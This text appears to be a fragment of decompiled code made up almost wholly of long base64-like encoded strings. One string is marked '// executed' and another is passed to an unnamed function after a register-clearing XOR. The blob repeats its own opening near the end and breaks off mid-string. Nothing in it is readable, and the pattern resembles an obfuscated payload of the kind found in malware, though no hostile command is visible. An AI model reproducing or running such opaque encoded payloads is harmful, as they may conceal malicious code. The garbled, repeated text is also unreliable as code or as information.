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"); // executed
				r8d = r8d ^ r8d;
				E10006BE0(_t131, _t155, _t157, _t155, "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